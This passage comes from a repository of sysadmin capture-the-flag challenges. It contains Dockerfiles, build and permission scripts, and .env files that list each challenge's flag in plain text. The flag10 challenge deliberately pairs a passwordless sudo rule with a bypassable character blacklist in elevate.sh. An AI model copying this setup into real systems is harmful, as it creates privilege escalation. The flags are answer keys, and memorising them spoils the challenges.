throw new Error(`environment variable ${p[1]} not found`); 16 | return process.env[p[1]] || "???"; 17 | }); 18 | 19 | (function build(dir) { 20 | const odir = parseEnv(path.join("build", dir)); 21 | 22 | if (!fs.existsSync(odir)) 23 | fs.mkdirSync(odir, { 24 | recursive: true, 25 | }); 26 | 27 | for (let p of fs.readdirSync(dir, { 28 | withFileTypes: true, 29 | })) { 30 | const fname = path.join(dir, p.name); 31 | 32 | if (p.isDirectory()) build(fname); 33 | else if (p.isFile()) { 34 | fs.writeFileSync( 35 | parseEnv(path.join(odir, p.name)), 36 | parseEnv(fs.readFileSync(fname).toString()) 37 | ); 38 | } else { 39 | console.warn("unsupported", p); 40 | } 41 | } 42 | })(process.argv[2]); 43 | -------------------------------------------------------------------------------- /challenges/sysadmin/flag-skel/root/home/$[USER]/.bash_logout: -------------------------------------------------------------------------------- 1 | # ~/.bash_logout: executed by bash(1) when login shell exits. 2 | 3 | # when leaving the console clear the screen to increase privacy 4 | 5 | if [ "$SHLVL" = 1 ]; then 6 | [ -x /usr/bin/clear_console ] && /usr/bin/clear_console -q 7 | fi -------------------------------------------------------------------------------- /challenges/sysadmin/flag-skel/root/home/$[USER]/.hushlogin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/UnitedCTF/UnitedCTF-2020/d139546828bda0f6f351f5034d1e22c2b459c6e1/challenges/sysadmin/flag-skel/root/home/$[USER]/.hushlogin -------------------------------------------------------------------------------- /challenges/sysadmin/flag-skel/root/perms.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | set -e 3 | 4 | chown -R root:root /home 5 | 6 | useradd -d /home/$[USER] -s /bin/bash $[USER] 7 | chown -R $[USER]:$[USER] /home/$[USER] -------------------------------------------------------------------------------- /challenges/sysadmin/flag0/.dockerignore: -------------------------------------------------------------------------------- 1 | /node_modules 2 | /Dockerfile -------------------------------------------------------------------------------- /challenges/sysadmin/flag0/.env: -------------------------------------------------------------------------------- 1 | USER=flag0 2 | FLAG=FLAG-SysadminAPasswordIsGood -------------------------------------------------------------------------------- /challenges/sysadmin/flag0/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM node:dubnium AS build 2 | 3 | WORKDIR /app 4 | RUN chown node:node /app 5 | USER node 6 | 7 | COPY --chown=node:node . /app 8 | 9 | RUN node build.js ./root 10 | 11 | FROM unitedctf-sysadmin-base 12 | 13 | COPY --from=build /app/build/root / 14 | RUN sh < /perms.sh && rm /perms.sh -------------------------------------------------------------------------------- /challenges/sysadmin/flag0/build.js: -------------------------------------------------------------------------------- 1 | const fs = require("fs"); 2 | const path = require("path"); 3 | 4 | fs.readFileSync(".env") 5 | .toString() 6 | .split(/(\r\n|\n)/g) 7 | .map((line) => line.split("=", 2)) 8 | .forEach(([k, v]) => { 9 | if (!process.env[k]) process.env[k] = v; 10 | }); 11 | 12 | const parseEnv = (str) => 13 | str.replace(/(\$\[([A-z0-9_-]*?)\])/g, (match, ...p) => { 14 | if (!process.env[p[1]]) 15 | throw new Error(`environment variable ${p[1]} not found`); 16 | return process.env[p[1]] || "???"; 17 | }); 18 | 19 | (function build(dir) { 20 | const odir = parseEnv(path.join("build", dir)); 21 | 22 | if (!fs.existsSync(odir)) 23 | fs.mkdirSync(odir, { 24 | recursive: true, 25 | }); 26 | 27 | for (let p of fs.readdirSync(dir, { 28 | withFileTypes: true, 29 | })) { 30 | const fname = path.join(dir, p.name); 31 | 32 | if (p.isDirectory()) build(fname); 33 | else if (p.isFile()) { 34 | fs.writeFileSync( 35 | parseEnv(path.join(odir, p.name)), 36 | parseEnv(fs.readFileSync(fname).toString()) 37 | ); 38 | } else { 39 | console.warn("unsupported", p); 40 | } 41 | } 42 | })(process.argv[2]); 43 | -------------------------------------------------------------------------------- /challenges/sysadmin/flag0/root/home/$[USER]/.bashrc: -------------------------------------------------------------------------------- 1 | exec bash /entrypoint.sh -------------------------------------------------------------------------------- /challenges/sysadmin/flag0/root/home/$[USER]/.hushlogin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/UnitedCTF/UnitedCTF-2020/d139546828bda0f6f351f5034d1e22c2b459c6e1/challenges/sysadmin/flag0/root/home/$[USER]/.hushlogin -------------------------------------------------------------------------------- /challenges/sysadmin/flag0/root/perms.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | set -e 3 | 4 | chown -R root:root /home 5 | 6 | chown root:root /entrypoint.sh 7 | 8 | useradd -d /home/$[USER] -s /bin/bash $[USER] 9 | chown -R $[USER]:$[USER] /home/$[USER] -------------------------------------------------------------------------------- /challenges/sysadmin/flag1/.dockerignore: -------------------------------------------------------------------------------- 1 | /node_modules 2 | /Dockerfile -------------------------------------------------------------------------------- /challenges/sysadmin/flag1/.env: -------------------------------------------------------------------------------- 1 | USER=flag1 2 | FLAG=FLAG-SysadminButAPrivateKeyIsBetter -------------------------------------------------------------------------------- /challenges/sysadmin/flag1/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM node:dubnium AS build 2 | 3 | WORKDIR /app 4 | RUN chown node:node /app 5 | USER node 6 | 7 | COPY --chown=node:node . /app 8 | 9 | RUN node build.js ./root 10 | 11 | FROM unitedctf-sysadmin-base 12 | 13 | COPY --from=build /app/build/root / 14 | RUN sh < /perms.sh && rm /perms.sh -------------------------------------------------------------------------------- /challenges/sysadmin/flag1/build.js: -------------------------------------------------------------------------------- 1 | const fs = require("fs"); 2 | const path = require("path"); 3 | 4 | fs.readFileSync(".env") 5 | .toString() 6 | .split(/(\r\n|\n)/g) 7 | .map((line) => line.split("=", 2)) 8 | .forEach(([k, v]) => { 9 | if (!process.env[k]) process.env[k] = v; 10 | }); 11 | 12 | const parseEnv = (str) => 13 | str.replace(/(\$\[([A-z0-9_-]*?)\])/g, (match, ...p) => { 14 | if (!process.env[p[1]]) 15 | throw new Error(`environment variable ${p[1]} not found`); 16 | return process.env[p[1]] || "???"; 17 | }); 18 | 19 | (function build(dir) { 20 | const odir = parseEnv(path.join("build", dir)); 21 | 22 | if (!fs.existsSync(odir)) 23 | fs.mkdirSync(odir, { 24 | recursive: true, 25 | }); 26 | 27 | for (let p of fs.readdirSync(dir, { 28 | withFileTypes: true, 29 | })) { 30 | const fname = path.join(dir, p.name); 31 | 32 | if (p.isDirectory()) build(fname); 33 | else if (p.isFile()) { 34 | fs.writeFileSync( 35 | parseEnv(path.join(odir, p.name)), 36 | parseEnv(fs.readFileSync(fname).toString()) 37 | ); 38 | } else { 39 | console.warn("unsupported", p); 40 | } 41 | } 42 | })(process.argv[2]); 43 | -------------------------------------------------------------------------------- /challenges/sysadmin/flag1/root/entrypoint.sh: -------------------------------------------------------------------------------- 1 | echo $[FLAG] 2 | echo 3 | echo "Bonne chance pour le reste des défis!" 4 | echo "Tu peux te connecter aux autres challenges en utlisant flagN comme utilisateur et la même clé privée" 5 | echo 6 | exit 0 7 | -------------------------------------------------------------------------------- /challenges/sysadmin/flag1/root/home/$[USER]/.bash_logout: -------------------------------------------------------------------------------- 1 | # ~/.bash_logout: executed by bash(1) when login shell exits. 2 | 3 | # when leaving the console clear the screen to increase privacy 4 | 5 | if [ "$SHLVL" = 1 ]; then 6 | [ -x /usr/bin/clear_console ] && /usr/bin/clear_console -q 7 | fi -------------------------------------------------------------------------------- /challenges/sysadmin/flag1/root/home/$[USER]/.bashrc: -------------------------------------------------------------------------------- 1 | exec bash /entrypoint.sh -------------------------------------------------------------------------------- /challenges/sysadmin/flag1/root/home/$[USER]/.hushlogin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/UnitedCTF/UnitedCTF-2020/d139546828bda0f6f351f5034d1e22c2b459c6e1/challenges/sysadmin/flag1/root/home/$[USER]/.hushlogin -------------------------------------------------------------------------------- /challenges/sysadmin/flag1/root/perms.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | set -e 3 | 4 | chown -R root:root /home 5 | 6 | chown root:root /entrypoint.sh 7 | 8 | useradd -d /home/$[USER] -s /bin/bash $[USER] 9 | chown -R $[USER]:$[USER] /home/$[USER] -------------------------------------------------------------------------------- /challenges/sysadmin/flag10/.dockerignore: -------------------------------------------------------------------------------- 1 | /node_modules 2 | /Dockerfile -------------------------------------------------------------------------------- /challenges/sysadmin/flag10/.env: -------------------------------------------------------------------------------- 1 | USER=flag10 2 | FLAG=FLAG-SysadminTooManyCommandsToBlacklist -------------------------------------------------------------------------------- /challenges/sysadmin/flag10/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM node:dubnium AS build 2 | 3 | WORKDIR /app 4 | RUN chown node:node /app 5 | USER node 6 | 7 | COPY --chown=node:node . /app 8 | 9 | RUN node build.js ./root 10 | 11 | FROM unitedctf-sysadmin-base 12 | 13 | COPY --from=build /app/build/root / 14 | RUN sh < /perms.sh && rm /perms.sh -------------------------------------------------------------------------------- /challenges/sysadmin/flag10/build.js: -------------------------------------------------------------------------------- 1 | const fs = require("fs"); 2 | const path = require("path"); 3 | 4 | fs.readFileSync(".env") 5 | .toString() 6 | .split(/(\r\n|\n)/g) 7 | .map((line) => line.split("=", 2)) 8 | .forEach(([k, v]) => { 9 | if (!process.env[k]) process.env[k] = v; 10 | }); 11 | 12 | const parseEnv = (str) => 13 | str.replace(/(\$\[([A-z0-9_-]*?)\])/g, (match, ...p) => { 14 | if (!process.env[p[1]]) 15 | throw new Error(`environment variable ${p[1]} not found`); 16 | return process.env[p[1]] || "???"; 17 | }); 18 | 19 | (function build(dir) { 20 | const odir = parseEnv(path.join("build", dir)); 21 | 22 | if (!fs.existsSync(odir)) 23 | fs.mkdirSync(odir, { 24 | recursive: true, 25 | }); 26 | 27 | for (let p of fs.readdirSync(dir, { 28 | withFileTypes: true, 29 | })) { 30 | const fname = path.join(dir, p.name); 31 | 32 | if (p.isDirectory()) build(fname); 33 | else if (p.isFile()) { 34 | fs.writeFileSync( 35 | parseEnv(path.join(odir, p.name)), 36 | parseEnv(fs.readFileSync(fname).toString()) 37 | ); 38 | } else { 39 | console.warn("unsupported", p); 40 | } 41 | } 42 | })(process.argv[2]); 43 | -------------------------------------------------------------------------------- /challenges/sysadmin/flag10/root/elevate.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # Mettre un filtre sur les commandes des utilisateurs qui n'ont pas le secret 4 | if [ "$SECRET" != `cat /home/superuser/secret` ]; then 5 | if [[ $1 =~ [^A-z0-9] ]] || [ ! -x "/bin/$1" ]; then 6 | echo -e "\e[91mEXÉCUTABLE INVALIDE\e[0m" 7 | exit 1 8 | elif [[ $@ =~ secret(user)? ]]; then 9 | echo -e "\e[91mSECRET DÉTECTÉ\e[0m" 10 | exit 1 11 | elif [[ $@ =~ [axspduo\$\'\"\`\<\>\?\&\#] ]]; then 12 | echo -e "\e[91mCARACTÈRE BANNI\e[0m" 13 | exit 1 14 | fi 15 | fi 16 | 17 | # Bloquer toute entrée/sortie pour un maximum de protection 18 | /bin/$1 "${@:2}" /dev/null 19 | exit 0 -------------------------------------------------------------------------------- /challenges/sysadmin/flag10/root/etc/sudoers.d/$[USER]: -------------------------------------------------------------------------------- 1 | $[USER] ALL=(superuser) NOPASSWD: /elevate.sh 2 | -------------------------------------------------------------------------------- /challenges/sysadmin/flag10/root/home/$[USER]/.bash_logout: -------------------------------------------------------------------------------- 1 | # ~/.bash_logout: executed by bash(1) when login shell exits. 2 | 3 | # when leaving the console clear the screen to increase privacy 4 | 5 | if [ "$SHLVL" = 1 ]; then 6 | [ -x /usr/bin/clear_console ] && /usr/bin/clear_console -q 7 | fi -------------------------------------------------------------------------------- /challenges/sysadmin/flag10/root/home/$[USER]/.hushlogin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/UnitedCTF/UnitedCTF-2020/d139546828bda0f6f351f5034d1e22c2b459c6e1/challenges/sysadmin/flag10/root/home/$[USER]/.hushlogin -------------------------------------------------------------------------------- /challenges/sysadmin/flag10/root/home/superuser/.bash_logout: -------------------------------------------------------------------------------- 1 | # ~/.bash_logout: executed by bash(1) when login shell exits. 2 | 3 | # when leaving the console clear the screen to increase privacy 4 | 5 | if [ "$SHLVL" = 1 ]; then 6 | [ -x /usr/bin/clear_console ] && /usr/bin/clear_console -q 7 | fi -------------------------------------------------------------------------------- /challenges/sysadmin/flag10/root/home/superuser/.hushlogin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/UnitedCTF/UnitedCTF-2020/d139546828bda0f6f351f5034d1e22c2b459c6e1/challenges/sysadmin/flag10/root/home/superuser/.hushlogin -------------------------------------------------------------------------------- /challenges/sysadmin/flag10/root/home/superuser/secret: -------------------------------------------------------------------------------- 1 | $[FLAG] 2 | -------------------------------------------------------------------------------- /challenges/sysadmin/flag10/root/perms.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | set -e 3 | 4 | chown root:root /elevate.sh 5 | chmod 755 /elevate.sh 6 | 7 | chown root:root /etc /etc/sudoers.d /etc/sudoers.d/* 8 | chmod -R 550 /etc/sudoers.d 9 | chown -R root:root /home 10 | 11 | useradd -d /home/$[USER] -s /bin/bash $[USER] 12 | chown -R $[USER]:$[USER] /home/$[USER] 13 | 14 | useradd -d /home/superuser -s /bin/bash superuser 15 | chown -R superuser:superuser /home/superuser 16 | chmod 600 /home/superuser/secret 17 | chmod 700 /home/superuser -------------------------------------------------------------------------------- /challenges/sysadmin/flag2/.dockerignore: -------------------------------------------------------------------------------- 1 | /node_modules 2 | /Dockerfile -------------------------------------------------------------------------------- /challenges/sysadmin/flag2/.env: -------------------------------------------------------------------------------- 1 | USER=flag2 2 | FLAG=FLAG-SysadminOneOfYourBestFriend -------------------------------------------------------------------------------- /challenges/sysadmin/flag2/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM node:dubnium AS build 2 | 3 | WORKDIR /app 4 | RUN chown node:node /app 5 | USER node 6 | 7 | COPY --chown=node:node . /app 8 | 9 | RUN node build.js ./root 10 | 11 | FROM unitedctf-sysadmin-base 12 | 13 | COPY --from=build /app/build/root / 14 | RUN sh < /perms.sh && rm /perms.sh -------------------------------------------------------------------------------- /challenges/sysadmin/flag2/build.js: -------------------------------------------------------------------------------- 1 | const fs = require("fs"); 2 | const path = require("path"); 3 | 4 | fs.readFileSync(".env") 5 | .toString() 6 | .split(/(\r\n|\n)/g) 7 | .map((line) => line.split("=", 2)) 8 | .forEach(([k, v]) => { 9 | if (!process.env[k]) process.env[k] = v; 10 | }); 11 | 12 | const parseEnv = (str) => 13 | str.replace(/(\$\[([A-z0-9_-]*?)\])/g, (match, ...p) => { 14 | if (!process.env[p[1]]) 15 | throw new Error(`environment variable ${p[1]} not found`); 16 | return process.env[p[1]] || "???"; 17 | }); 18 | 19 | (function build(dir) { 20 | const odir = parseEnv(path.join("build", dir)); 21 | 22 | if (!fs.existsSync(odir)) 23 | fs.mkdirSync(odir, { 24 | recursive: true, 25 | }); 26 | 27 | for (let p of fs.readdirSync(dir, { 28 | withFileTypes: true, 29 | })) { 30 | const fname = path.join(dir, p.name); 31 | 32 | if (p.isDirectory()) build(fname); 33 | else if (p.isFile()) { 34 | fs.writeFileSync( 35 | parseEnv(path.join(odir, p.name)), 36 | parseEnv(fs.readFileSync(fname).toString()) 37 | ); 38 | } else { 39 | console.warn("unsupported", p); 40 | } 41 | } 42 | })(process.argv[2]); 43 | -------------------------------------------------------------------------------- /challenges/sysadmin/flag2/root/home/$[USER]/.bash_logout: -------------------------------------------------------------------------------- 1 | # ~/.bash_logout: executed by bash(1) when login shell exits. 2 | 3 | # when leaving the console clear the screen to increase privacy 4 | 5 | if [ "$SHLVL" = 1 ]; then 6 | [ -x /usr/bin/clear_console ] && /usr/bin/clear_console -q 7 | fi -------------------------------------------------------------------------------- /challenges/sysadmin/flag2/root/home/$[USER]/.hushlogin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/UnitedCTF/UnitedCTF-2020/d139546828bda0f6f351f5034d1e22c2b459c6e1/challenges/sysadmin/flag2/root/home/$[USER]/.hushlogin -------------------------------------------------------------------------------- /challenges/sysadmin/flag2/root/perms.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | set -e 3 | 4 | chown -R root:root /home 5 | 6 | useradd -d /home/$[USER] -s /bin/bash $[USER] 7 | chown -R $[USER]:$[USER] /home/$[USER] -------------------------------------------------------------------------------- /challenges/sysadmin/flag3/.dockerignore: -------------------------------------------------------------------------------- 1 | /node_modules 2 | /Dockerfile -------------------------------------------------------------------------------- /challenges/sysadmin/flag3/.env: -------------------------------------------------------------------------------- 1 | USER=flag3 2 | FLAG=FLAG-SysadminLeakMeAndYouWin -------------------------------------------------------------------------------- /challenges/sysadmin/flag3/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM node:dubnium AS build 2 | 3 | WORKDIR /app 4 | RUN chown node:node /app 5 | USER node 6 | 7 | COPY --chown=node:node . /app 8 | 9 | RUN node build.js ./root 10 | 11 | FROM unitedctf-sysadmin-base 12 | 13 | COPY --from=build /app/build/root / 14 | RUN sh < /perms.sh && rm /perms.sh -------------------------------------------------------------------------------- /challenges/sysadmin/flag3/build.js: -------------------------------------------------------------------------------- 1 | const fs = require("fs"); 2 | const path = require("path"); 3 | 4 | fs.readFileSync(".env") 5 | .toString() 6 | .split(/(\r\n|\n)/g) 7 | .map((line) => line.split("=", 2)) 8 | .forEach(([k, v]) => { 9 | if (!process.env[k]) process.env[k] = v; 10 | }); 11 | 12 | const parseEnv = (str) => 13 | str.replace(/(\$\[([A-z0-9_-]*?)\])/g, (match, ...p) => { 14 | if (!process.env[p[1]]) 15 | throw new Error(`environment variable ${p[1]} not found`); 16 | return process.env[p[1]] || "???"; 17 | }); 18 | 19 | (function build(dir) { 20 | const odir = parseEnv(path.join("build", dir)); 21 | 22 | if (!fs.existsSync(odir)) 23 | fs.mkdirSync(odir, { 24 | recursive: true, 25 | }); 26 | 27 | for (let p of fs.readdirSync(dir, { 28 | withFileTypes: true, 29 | })) { 30 | const fname = path.join(dir, p.name); 31 | 32 | if (p.isDirectory()) build(fname); 33 | else if (p.isFile()) { 34 | fs.writeFileSync( 35 | parseEnv(path.join(odir, p.name)), 36 | parseEnv(fs.readFileSync(fname).toString()) 37 | ); 38 | } else { 39 | console.warn("unsupported", p); 40 | } 41 | } 42 | })(process.argv[2]); 43 | -------------------------------------------------------------------------------- /challenges/sysadmin/flag3/root/home/$[USER]/.bash_logout: -------------------------------------------------------------------------------- 1 | # ~/.bash_logout: executed by bash(1) when login shell exits. 2 | 3 | # when leaving the console clear the screen to increase privacy 4 | 5 | if [ "$SHLVL" = 1 ]; then 6 | [ -x /usr/bin/clear_console ] && /usr/bin/clear_console -q 7 | fi -------------------------------------------------------------------------------- /challenges/sysadmin/flag3/root/home/$[USER]/.hushlogin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/UnitedCTF/UnitedCTF-2020/d139546828bda0f6f351f5034d1e22c2b459c6e1/challenges/sysadmin/flag3/root/home/$[USER]/.hushlogin -------------------------------------------------------------------------------- /challenges/sysadmin/flag3/root/perms.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | set -e 3 | 4 | chown -R root:root /home 5 | 6 | useradd -d /home/$[USER] -c $[FLAG] -s /bin/bash $[USER] 7 | chown -R $[USER]:$[USER] /home/$[USER] -------------------------------------------------------------------------------- /challenges/sysadmin/flag4/.dockerignore: -------------------------------------------------------------------------------- 1 | /node_modules 2 | /Dockerfile -------------------------------------------------------------------------------- /challenges/sysadmin/flag4/.env: -------------------------------------------------------------------------------- 1 | USER=flag4 2 | FLAG=FLAG-SysadminBetterUseLL -------------------------------------------------------------------------------- /challenges/sysadmin/flag4/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM node:dubnium AS build 2 | 3 | WORKDIR /app 4 | RUN chown node:node /app 5 | USER node 6 | 7 | COPY --chown=node:node . /app 8 | 9 | RUN node build.js ./root 10 | 11 | FROM unitedctf-sysadmin-base 12 | 13 | COPY --from=build /app/build/root / 14 | RUN sh < /perms.sh && rm /perms.sh -------------------------------------------------------------------------------- /challenges/sysadmin/flag4/build.js: -------------------------------------------------------------------------------- 1 | const fs = require("fs"); 2 | const path = require("path"); 3 | 4 | fs.readFileSync(".env") 5 | .toString() 6 | .split(/(\r\n|\n)/g) 7 | .map((line) => line.split("=", 2)) 8 | .forEach(([k, v]) => { 9 | if (!process.env[k]) process.env[k] = v; 10 | }); 11 | 12 | const parseEnv = (str) => 13 | str.replace(/(\$\[([A-z0-9_-]*?)\])/g, (match, ...p) => { 14 | if (!process.env[p[1]]) 15 | throw new Error(`environment variable ${p[1]} not found`); 16 | return process.env[p[1]] || "???"; 17 | }); 18 | 19 | (function build(dir) { 20 | const odir = parseEnv(path.join("build", dir)); 21 | 22 | if (!fs.existsSync(odir)) 23 | fs.mkdirSync(odir, { 24 | recursive: true, 25 | }); 26 | 27 | for (let p of fs.readdirSync(dir, { 28 | withFileTypes: true, 29 | })) { 30 | const fname = path.join(dir, p.name); 31 | 32 | if (p.isDirectory()) build(fname); 33 | else if (p.isFile()) { 34 | fs.writeFileSync( 35 | parseEnv(path.join(odir, p.name)), 36 | parseEnv(fs.readFileSync(fname).toString()) 37 | ); 38 | } else { 39 | console.warn("unsupported", p); 40 | } 41 | } 42 | })(process.argv[2]); 43 | -------------------------------------------------------------------------------- /challenges/sysadmin/flag4/root/home/$[USER]/.bash_logout: -------------------------------------------------------------------------------- 1 | # ~/.bash_logout: executed by bash(1) when login shell exits. 2 | 3 | # when leaving the console clear the screen to increase privacy 4 | 5 | if [ "$SHLVL" = 1 ]; then 6 | [ -x /usr/bin/clear_console ] && /usr/bin/clear_console -q 7 | fi -------------------------------------------------------------------------------- /challenges/sysadmin/flag4/root/home/$[USER]/.flag: -------------------------------------------------------------------------------- 1 | $[FLAG] 2 | -------------------------------------------------------------------------------- /challenges/sysadmin/flag4/root/home/$[USER]/.hushlogin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/UnitedCTF/UnitedCTF-2020/d139546828bda0f6f351f5034d1e22c2b459c6e1/challenges/sysadmin/flag4/root/home/$[USER]/.hushlogin -------------------------------------------------------------------------------- /challenges/sysadmin/flag4/root/perms.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | set -e 3 | 4 | chown -R root:root /home 5 | 6 | useradd -d /home/$[USER] -s /bin/bash $[USER] 7 | chown -R $[USER]:$[USER] /home/$[USER] -------------------------------------------------------------------------------- /challenges/sysadmin/flag5/.dockerignore: -------------------------------------------------------------------------------- 1 | /node_modules 2 | /Dockerfile -------------------------------------------------------------------------------- /challenges/sysadmin/flag5/.env: -------------------------------------------------------------------------------- 1 | USER=flag5 2 | FLAG=FLAG-SysadminEveryoneCanReadAnything -------------------------------------------------------------------------------- /challenges/sysadmin/flag5/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM node:dubnium AS build 2 | 3 | WORKDIR /app 4 | RUN chown node:node /app 5 | USER node 6 | 7 | COPY --chown=node:node . /app 8 | 9 | RUN node build.js ./root 10 | 11 | FROM unitedctf-sysadmin-base 12 | 13 | COPY --from=build /app/build/root / 14 | RUN sh < /perms.sh && rm /perms.sh -------------------------------------------------------------------------------- /challenges/sysadmin/flag5/build.js: -------------------------------------------------------------------------------- 1 | const fs = require("fs"); 2 | const path = require("path"); 3 | 4 | fs.readFileSync(".env") 5 | .toString() 6 | .split(/(\r\n|\n)/g) 7 | .map((line) => line.split("=", 2)) 8 | .forEach(([k, v]) => { 9 | if (!process.env[k]) process.env[k] = v; 10 | }); 11 | 12 | const parseEnv = (str) => 13 | str.replace(/(\$\[([A-z0-9_-]*?)\])/g, (match, ...p) => { 14 | if (!process.env[p[1]]) 15 | throw new Error(`environment variable ${p[1]} not found`); 16 | return process.env[p[1]] || "???"; 17 | }); 18 | 19 | (function build(dir) { 20 | const odir = parseEnv(path.join("build", dir)); 21 | 22 | if (!fs.existsSync(odir)) 23 | fs.mkdirSync(odir, { 24 | recursive: true, 25 | }); 26 | 27 | for (let p of fs.readdirSync(dir, { 28 | withFileTypes: true, 29 | })) { 30 | const fname = path.join(dir, p.name); 31 | 32 | if (p.isDirectory()) build(fname); 33 | else if (p.isFile()) { 34 | fs.writeFileSync( 35 | parseEnv(path.join(odir, p.name)), 36 | parseEnv(fs.readFileSync(fname).toString()) 37 | ); 38 | } else { 39 | console.warn("unsupported", p); 40 | } 41 | } 42 | })(process.argv[2]); 43 | -------------------------------------------------------------------------------- /challenges/sysadmin/flag5/root/home/$[USER]/.bash_logout: -------------------------------------------------------------------------------- 1 | # ~/.bash_logout: executed by bash(1) when login shell exits. 2 | 3 | # when leaving the console clear the screen to increase privacy 4 | 5 | if [ "$SHLVL" = 1 ]; then 6 | [ -x /usr/bin/clear_console ] && /usr/bin/clear_console -q 7 | fi -------------------------------------------------------------------------------- /challenges/sysadmin/flag5/root/home/$[USER]/.hushlogin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/UnitedCTF/UnitedCTF-2020/d139546828bda0f6f351f5034d1e22c2b459c6e1/challenges/sysadmin/flag5/root/home/$[USER]/.hushlogin -------------------------------------------------------------------------------- /challenges/sysadmin/flag5/root/home/secretuser/.bash_logout: -------------------------------------------------------------------------------- 1 | # ~/.bash_logout: executed by bash(1) when login shell exits. 2 | 3 | # when leaving the console clear the screen to increase privacy 4 | 5 | if [ "$SHLVL" = 1 ]; then 6 | [ -x /usr/bin/clear_console ] && /usr/bin/clear_console -q 7 | fi -------------------------------------------------------------------------------- /challenges/sysadmin/flag5/root/home/secretuser/.hushlogin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/UnitedCTF/UnitedCTF-2020/d139546828bda0f6f351f5034d1e22c2b459c6e1/challenges/sysadmin/flag5/root/home/secretuser/.hushlogin -------------------------------------------------------------------------------- /challenges/sysadmin/flag5/root/home/secretuser/secret: -------------------------------------------------------------------------------- 1 | $[FLAG] -------------------------------------------------------------------------------- /challenges/sysadmin/flag5/root/perms.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | set -e 3 | 4 | chown -R root:root /home 5 | 6 | useradd -d /home/$[USER] -s /bin/bash $[USER] 7 | chown -R $[USER]:$[USER] /home/$[USER] 8 | 9 | useradd -d /home/secretuser -s /bin/bash secretuser 10 | chown -R secretuser:secretuser /home/secretuser -------------------------------------------------------------------------------- /challenges/sysadmin/flag6/.dockerignore: -------------------------------------------------------------------------------- 1 | /node_modules 2 | /Dockerfile -------------------------------------------------------------------------------- /challenges/sysadmin/flag6/.env: -------------------------------------------------------------------------------- 1 | USER=flag6 2 | FLAG=FLAG-SysadminGrepFlagForFreePoints -------------------------------------------------------------------------------- /challenges/sysadmin/flag6/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM node:dubnium AS build 2 | 3 | WORKDIR /app 4 | RUN chown node:node /app 5 | USER node 6 | 7 | COPY --chown=node:node . /app 8 | 9 | RUN node build.js ./root 10 | 11 | FROM unitedctf-sysadmin-base 12 | 13 | RUN git clone https://github.com/vuejs/vue --depth=1 /repos/vue 14 | RUN rm -rf /repos/vue/.git 15 | 16 | RUN git clone https://github.com/facebook/react --depth=1 /repos/react 17 | RUN rm -rf /repos/react/.git 18 | 19 | RUN git clone https://github.com/angular/angular --depth=1 /repos/angular 20 | RUN rm -rf /repos/angular/.git /repos/angular/aio /repos/angular/packages 21 | 22 | RUN git clone https://github.com/emberjs/ember.js --depth=1 /repos/emberjs 23 | RUN rm -rf /repos/emberjs/.git 24 | 25 | RUN git clone https://github.com/meteor/meteor --depth=1 /repos/meteor 26 | RUN rm -rf /repos/meteor/.git 27 | 28 | COPY --from=build /app/build/root / 29 | RUN sh < /perms.sh && rm /perms.sh 30 | -------------------------------------------------------------------------------- /challenges/sysadmin/flag6/build.js: -------------------------------------------------------------------------------- 1 | const fs = require("fs"); 2 | const path = require("path"); 3 | 4 | fs.readFileSync(".env") 5 | .toString() 6 | .split(/(\r\n|\n)/g) 7 | .map((line) => line.split("=", 2)) 8 | .forEach(([k, v]) => { 9 | if (!process.env[k]) process.env[k] = v; 10 | }); 11 | 12 | const parseEnv = (str) => 13 | str.replace(/(\$\[([A-z0-9_-]*?)\])/g, (match, ...p) => { 14 | if (!process.env[p[1]]) 15 | throw new Error(`environment variable ${p[1]} not found`); 16 | return process.env[p[1]] || "???"; 17 | }); 18 | 19 | (function build(dir) { 20 | const odir = parseEnv(path.join("build", dir)); 21 | 22 | if (!fs.existsSync(odir)) 23 | fs.mkdirSync(odir, { 24 | recursive: true, 25 | }); 26 | 27 | for (let p of fs.readdirSync(dir, { 28 | withFileTypes: true, 29 | })) { 30 | const fname = path.join(dir, p.name); 31 | 32 | if (p.isDirectory()) build(fname); 33 | else if (p.isFile()) { 34 | fs.writeFileSync( 35 | parseEnv(path.join(odir, p.name)), 36 | parseEnv(fs.readFileSync(fname).toString()) 37 | ); 38 | } else { 39 | console.warn("unsupported", p); 40 | } 41 | } 42 | })(process.argv[2]); 43 | -------------------------------------------------------------------------------- /challenges/sysadmin/flag6/root/home/$[USER]/.bash_logout: -------------------------------------------------------------------------------- 1 | # ~/.bash_logout: executed by bash(1) when login shell exits. 2 | 3 | # when leaving the console clear the screen to increase privacy 4 | 5 | if [ "$SHLVL" = 1 ]; then 6 | [ -x /usr/bin/clear_console ] && /usr/bin/clear_console -q 7 | fi -------------------------------------------------------------------------------- /challenges/sysadmin/flag6/root/home/$[USER]/.hushlogin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/UnitedCTF/UnitedCTF-2020/d139546828bda0f6f351f5034d1e22c2b459c6e1/challenges/sysadmin/flag6/root/home/$[USER]/.hushlogin -------------------------------------------------------------------------------- /challenges/sysadmin/flag6/root/perms.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | set -e 3 | 4 | chown -R root:root /home 5 | 6 | mv /repos/* 